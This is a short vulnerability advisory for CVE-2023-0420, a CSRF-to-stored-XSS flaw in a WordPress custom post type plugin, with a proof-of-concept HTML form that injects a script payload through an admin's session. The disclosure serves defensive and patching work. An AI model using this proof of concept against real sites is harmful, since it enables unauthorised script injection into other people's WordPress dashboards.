Custom Post Type and Taxonomy GUI Manager <= 1.1 – Stored XSS via CSRF | CVE 2023-0420

Description

The plugin does not have CSRF, and is lacking sanitising as well as escaping in some parameters, allowing attackers to make a logged in admin put Stored Cross-Site Scripting payloads via CSRF

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body>
    <form action="https://example.com/wordpress/wp-admin/admin.php?page=cptctm-create-cpt" method="POST">
      <input type="hidden" name="rt_cpt_name" value="<script>alert(2)</script>" />
      <input type="hidden" name="rt_cpt_slug" value="alert2" />
      <input type="hidden" name="rt_menu_icon" value="" />
      <input type="hidden" name="select_taxonomy[3]" value="wp_template_part_area" />
      <input type="hidden" name="rt_submit" value="Create custom post type" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


The XSS will be trigged in the dashboard for Contributors and above.